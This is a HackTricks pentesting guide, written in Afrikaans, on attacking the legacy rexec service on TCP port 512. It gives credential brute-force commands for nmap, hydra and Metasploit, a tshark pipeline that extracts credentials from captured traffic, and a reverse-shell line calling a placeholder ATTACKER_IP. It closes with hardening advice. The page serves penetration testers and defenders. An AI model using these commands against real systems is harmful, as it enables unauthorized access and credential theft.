hacktricks/src/network-services-pentesting/512-pentesting-rexec.md

105 lines
4.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 512 - Pentesting Rexec
{{#include ../banners/hacktricks-training.md}}
## Basiese Inligting
Rexec (remote **exec**) is een van die oorspronklike Berkeley *r*-dienste suite (saam met `rlogin`, `rsh`, …). Dit bied 'n **afgeleë opdrag-uitvoering** vermoë **geverifieer slegs met 'n duidelike teks gebruikersnaam en wagwoord**. Die protokol is in die vroeë 1980's gedefinieer (sien RFC 1060) en word vandag beskou as **onveilig deur ontwerp**. Nietemin is dit steeds standaard geaktiveer in sommige erflike UNIX / netwerk-aangeskakelde toerusting en verskyn af en toe tydens interne pentests.
**Standaard Poort:** TCP 512 (`exec`)
```
PORT STATE SERVICE
512/tcp open exec
```
> 🔥 Alle verkeer insluitend geloofsbriewe word **ongeënkripteer** oorgedra. Enige iemand met die vermoë om die netwerk te snuffel, kan die gebruikersnaam, wagwoord en opdrag herstel.
### Protokol vinnige oorsig
1. Kliënt verbind met TCP 512.
2. Kliënt stuur drie **NUL-beëindigde** stringe:
* die poortnommer (as ASCII) waar dit wil ontvang stdout/stderr (dikwels `0`),
* die **gebruikersnaam**,
* die **wagwoord**.
3. 'n Finale NUL-beëindigde string met die **opdrag** om uit te voer, word gestuur.
4. Die bediener antwoord met 'n enkele 8-bis statusbyte (0 = sukses, `1` = mislukking) gevolg deur die opdraguitset.
Dit beteken jy kan die uitruil herproduseer met niks meer as `echo -e` en `nc`:
```bash
(echo -ne "0\0user\0password\0id\0"; cat) | nc <target> 512
```
As die geloofsbriewe geldig is, sal jy die uitvoer van `id` regstreeks terugkry op dieselfde verbinding.
### Handmatige gebruik met die kliënt
Baie Linux verspreidings verskaf steeds die ou kliënt binne die **inetutils-rexec** / **rsh-client** pakket:
```bash
rexec -l user -p password <target> "uname -a"
```
As `-p` weggelaat word, sal die kliënt interaktief vir die wagwoord vra (sigbaar op die draad in duidelike teks!).
---
## Enumerasie & Brute-forcing
### [**Brute-force**](../generic-hacking/brute-force.md#rexec)
### Nmap
```bash
nmap -p 512 --script rexec-info <target>
# Discover service banner and test for stdout port mis-configuration
nmap -p 512 --script rexec-brute --script-args "userdb=users.txt,passdb=rockyou.txt" <target>
```
Die `rexec-brute` NSE gebruik die protokol hierbo beskryf om akrediteerbesonderhede baie vinnig te probeer.
### Hydra / Medusa / Ncrack
```bash
hydra -L users.txt -P passwords.txt rexec://<target> -s 512 -t 8
```
`hydra` het 'n toegewyde **rexec** module en bly die vinnigste offline bruteforcer. `medusa` (`-M REXEC`) en `ncrack` (`rexec` module) kan op dieselfde manier gebruik word.
### Metasploit
```
use auxiliary/scanner/rservices/rexec_login
set RHOSTS <target>
set USER_FILE users.txt
set PASS_FILE passwords.txt
run
```
Die module sal 'n shell op sukses genereer en die geloofsbriewe in die databasis stoor.
---
## Snuffel geloofsbriewe
Omdat alles in duidelike teks is, **is netwerkopnames van onskatbare waarde**. Met 'n kopie van die verkeer kan jy geloofsbriewe onttrek sonder om die teiken aan te raak:
```bash
tshark -r traffic.pcap -Y 'tcp.port == 512' -T fields -e data.decoded | \
awk -F"\\0" '{print $2":"$3" -> "$4}' # username:password -> command
```
(In Wireshark, stel *Decode As …​* TCP 512 → REXEC in om mooi geparseerde velde te sien.)
---
## Post-Exploitation wenke
* Opdragte word uitgevoer met die voorregte van die verskafde gebruiker. As `/etc/pam.d/rexec` verkeerd geconfigureer is (bv. `pam_rootok`), is root shells soms moontlik.
* Rexec ignoreer die gebruiker se shell en voer die opdrag uit via `/bin/sh -c <cmd>`. Jy kan dus tipiese shell-escape truuks (`;`, ``$( )``, backticks) gebruik om verskeie opdragte te ketting of om omgekeerde shells te genereer:
```bash
rexec -l user -p pass <target> 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
```
* Wagwoorde word dikwels gestoor in **~/.netrc** op ander stelsels; as jy een gasheer kompromitteer, kan jy dit hergebruik vir laterale beweging.
---
## Versterking / Ontdekking
* **Moet nie rexec blootstel nie**; vervang dit met SSH. Virtueel alle moderne *inetd* superservers kommentaar die diens standaard uit.
* As jy dit moet hou, beperk toegang met TCP wrappers (`/etc/hosts.allow`) of firewall reëls en handhaaf sterk per-rekening wagwoorde.
* Monitor vir verkeer na :512 en vir `rexecd` proseslanse. 'n Enkele pakketvang is genoeg om 'n kompromie te ontdek.
* Deaktiveer `rexec`, `rlogin`, `rsh` saam hulle deel die meeste van dieselfde kodebasis en swakhede.
---
## Verwysings
* Nmap NSE `rexec-brute` dokumentasie [https://nmap.org/nsedoc/scripts/rexec-brute.html](https://nmap.org/nsedoc/scripts/rexec-brute.html)
* Rapid7 Metasploit module `auxiliary/scanner/rservices/rexec_login` [https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login](https://www.rapid7.com/db/modules/auxiliary/scanner/rservices/rexec_login)
{{#include ../banners/hacktricks-training.md}}